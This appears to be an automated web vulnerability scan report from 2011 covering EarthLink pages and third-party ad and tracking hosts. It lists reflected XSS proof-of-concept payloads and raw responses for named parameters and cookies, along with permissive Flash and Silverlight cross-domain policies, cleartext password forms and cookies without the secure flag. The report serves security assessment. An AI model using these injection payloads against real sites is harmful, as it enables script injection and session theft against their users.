The value of the q request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e3a01"><script>alert(1)</script>42a3606a34a was submitted in the q parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaae3a01"><script>alert(1)</script>42a3606a34a&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaae3a01"><script>alert(1)</script>42a3606a34a&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the sm request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c511f"><script>alert(1)</script>5d3f0a17bd4 was submitted in the sm parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnkc511f"><script>alert(1)</script>5d3f0a17bd4&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnkc511f"><script>alert(1)</script>5d3f0a17bd4&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the submit.x request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60b98"><script>alert(1)</script>b679a39f758 was submitted in the submit.x parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=060b98"><script>alert(1)</script>b679a39f758&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=060b98"><script>alert(1)</script>b679a39f758&submit.y=0"> ...[SNIP]...
The value of the submit.y request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6943d"><script>alert(1)</script>38b912d8659 was submitted in the submit.y parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=06943d"><script>alert(1)</script>38b912d8659 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=06943d"><script>alert(1)</script>38b912d8659"> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15e54"><script>alert(1)</script>c5b5d501422 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch15e54"><script>alert(1)</script>c5b5d501422&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch15e54"><script>alert(1)</script>c5b5d501422&vars=area%2Cq%2Cchannel%2Csm&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the vars request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f34b3"><script>alert(1)</script>273693c1b24 was submitted in the vars parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that the response into which user data is copied is an HTTP redirection. Typically, browsers will not process the contents of the response body in this situation. Unless you can find a way to prevent the application from performing a redirection (for example, by interfering with the response headers), the observed behaviour may not be exploitable in practice. This limitation considerably mitigates the impact of the vulnerability.
HTTP/1.1 302 Object Moved Location: http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csmf34b3"><script>alert(1)</script>273693c1b24&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0 Content-Type: text/html Cache-Control: private Connection: close
<head><body> This object may be found <a HREF="http://my.earthlink.net/track?url=http%3A%2F%2Fsearch.earthlink.net%2Fsearch&vars=area%2Cq%2Cchannel%2Csmf34b3"><script>alert(1)</script>273693c1b24&linkid=x&area=earthlink-ws-bottomsearchbox&sm=elnk&channel=wwwsitesearch&q=zaa&submit.x=0&submit.y=0"> ...[SNIP]...
The value of the AA002 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed56b"><a>cc481afd26e was submitted in the AA002 cookie. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the JSESSIONID cookie is copied into an HTML comment. The payload 20cc2--><script>alert(1)</script>737efb4c3e was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The value of the JSESSIONID cookie is copied into an HTML comment. The payload 5b941--><script>alert(1)</script>7c87e3e28d0 was submitted in the JSESSIONID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ad.doubleclick.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ad.doubleclick.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ajax.googleapis.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: b.scorecardresearch.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: beta-ads.ace.advertising.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: earthlink.122.2o7.net
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:13:51 GMT Server: Omniture DC/2.0.0 xserver: www255 Connection: close Content-Type: text/html
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: ib.adnxs.com
Response
HTTP/1.0 200 OK Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: sess=1; path=/; expires=Wed, 14-Sep-2011 23:03:02 GMT; domain=.adnxs.com; HttpOnly Set-Cookie: uuid2=7177997117042766059; path=/; expires=Mon, 12-Dec-2011 23:03:02 GMT; domain=.adnxs.com; HttpOnly Content-Type: text/xml
<?xml version="1.0"?><!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd"><cross-domain-policy><site-control permitted-cross-domain-policies="master-only" ...[SNIP]... <allow-access-from domain="*"/> ...[SNIP]...
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: n.earthlink.net
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: p.ace.advertising.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: r1-ads.ace.advertising.com
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
The application publishes a Flash cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /crossdomain.xml HTTP/1.0 Host: static.getclicky.com
Response
HTTP/1.1 200 OK Server: cloudflare-nginx Date: Tue, 13 Sep 2011 23:00:39 GMT Content-Type: text/xml Connection: close Content-Length: 201 Last-Modified: Wed, 10 Aug 2011 06:02:39 GMT Vary: Accept-Encoding Accept-Ranges: bytes
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: clients6.google.com
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: custom.marketwatch.com
Response
HTTP/1.1 200 OK Cache-Control: max-age=86400 Content-Length: 324 Content-Type: text/xml Last-Modified: Fri, 04 Sep 2009 00:07:02 GMT Accept-Ranges: bytes ETag: "84a75fa1f32cca1:8037" Server: Microsoft-IIS/6.0 X-Machine: CHI-WEB4 P3P: CP="NOI DSP CURa ADMa DEVa OUR IND UNI NAV INT STA PRE" X-Powered-By: ASP.NET Date: Tue, 13 Sep 2011 22:58:55 GMT Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: edge.sharethis.com
Response
HTTP/1.0 200 OK Server: nginx/0.8.53 Content-Type: text/xml Content-Length: 330 Last-Modified: Mon, 29 Aug 2011 16:55:44 GMT Accept-Ranges: bytes Date: Tue, 13 Sep 2011 22:59:47 GMT Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: googleads.g.doubleclick.net
Response
HTTP/1.0 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/x-cross-domain-policy; charset=UTF-8 Last-Modified: Fri, 27 May 2011 17:28:41 GMT Date: Tue, 13 Sep 2011 19:48:38 GMT Expires: Wed, 14 Sep 2011 19:48:38 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Age: 11306 Cache-Control: public, max-age=86400
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: pagead2.googlesyndication.com
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: pubads.g.doubleclick.net
Response
HTTP/1.0 200 OK P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Content-Type: text/x-cross-domain-policy; charset=UTF-8 Last-Modified: Fri, 27 May 2011 17:28:41 GMT Date: Tue, 13 Sep 2011 21:18:04 GMT Expires: Wed, 14 Sep 2011 21:18:04 GMT X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 1; mode=block Age: 5920 Cache-Control: public, max-age=86400
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: wd-edge.sharethis.com
Response
HTTP/1.0 200 OK Server: nginx/0.8.53 Content-Type: text/xml Content-Length: 330 Last-Modified: Mon, 29 Aug 2011 16:55:44 GMT Accept-Ranges: bytes Date: Tue, 13 Sep 2011 22:56:41 GMT Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: wd-edge.sharethis.com
Response
HTTP/1.0 200 OK Server: nginx/0.8.53 Content-Type: text/xml Content-Length: 330 Last-Modified: Mon, 29 Aug 2011 16:55:44 GMT Accept-Ranges: bytes X-N: S Date: Tue, 13 Sep 2011 23:03:02 GMT Connection: close
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.facebook.com
Response
HTTP/1.0 200 OK Content-Type: text/x-cross-domain-policy;charset=utf-8 X-FB-Server: 10.64.148.37 Connection: close Content-Length: 1527
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.facebook.com
Response
HTTP/1.0 200 OK Content-Type: text/x-cross-domain-policy;charset=utf-8 X-FB-Server: 10.62.255.60 Connection: close Content-Length: 1527
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.fiercetelecom.com
The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.
Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: www.youtube.com
The application publishes a Flash cross-domain policy which allows access from specific other domains, and allows access from specific subdomains.
Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.
Request
GET /crossdomain.xml HTTP/1.0 Host: docs.google.com
The Silverlight cross-domain policy controls whether Silverlight client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.
Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.
Issue remediation
You should review the domains which are allowed by the Silverlight cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ad.doubleclick.net
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: ad.doubleclick.net
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: b.scorecardresearch.com
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: earthlink.122.2o7.net
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:13:51 GMT Server: Omniture DC/2.0.0 xserver: www391 Connection: close Content-Type: text/html
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: n.earthlink.net
Response
HTTP/1.1 200 OK Date: Tue, 13 Sep 2011 22:21:03 GMT Server: Omniture DC/2.0.0 xserver: www258 Connection: close Content-Type: text/html
The application publishes a Silverlight cross-domain policy which allows access from any domain.
Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.
Request
GET /clientaccesspolicy.xml HTTP/1.0 Host: s0.2mdn.net
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
GET /enduser/Login/tabid/597/Default.aspx HTTP/1.1 Host: 209.117.79.47:8011 Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://my.earthlink.net/channel/START
The form contains the following password field:
auth.password
Request
GET /channel/START HTTP/1.1 Host: my.earthlink.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://my.earthlink.net/channel/feedback
The form contains the following password field:
auth.password
Request
GET /channel/feedback HTTP/1.1 Host: my.earthlink.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://my.earthlink.net/channel/feedback/
The form contains the following password field:
auth.password
Request
GET /channel/feedback/ HTTP/1.1 Host: my.earthlink.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://my.earthlink.net/channel/START
The form contains the following password field:
auth.password
Request
GET /securesignin HTTP/1.1 Host: my.earthlink.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: secure.userfly.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head><title>Web Ma ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hc/LPearthlink_elink1/?cmd=file&file=visitorWantsToChat&site=LPearthlink_elink1&byhref=1&SESSIONVAR!skill=elnk-support-english HTTP/1.1 Host: sales.liveperson.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 13 Sep 2011 23:00:33 GMT Server: Microsoft-IIS/6.0 P3P: CP="NON BUS INT NAV COM ADM CON CUR IVA IVD OTP PSA PSD TEL SAM" X-Powered-By: ASP.NET Set-Cookie: HumanClickSiteContainerID_LPearthlink_elink1=STANDALONE; path=/hc/LPearthlink_elink1 Content-Type: text/html Last-Modified: Tue, 13 Sep 2011 23:00:33 GMT Cache-Control: no-store Pragma: no-cache Expires: Wed, 31 Dec 1969 23:59:59 GMT Content-Length: 7133
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" lang="EN" xml:lang="EN"> <head>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /hc/LPearthlink_elink1/cmd/url/?site=LPearthlink_elink1&page=https://sales.liveperson.net/hcp/width/img30.gif&SESSIONVAR! HTTP/1.1 Host: sales.liveperson.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
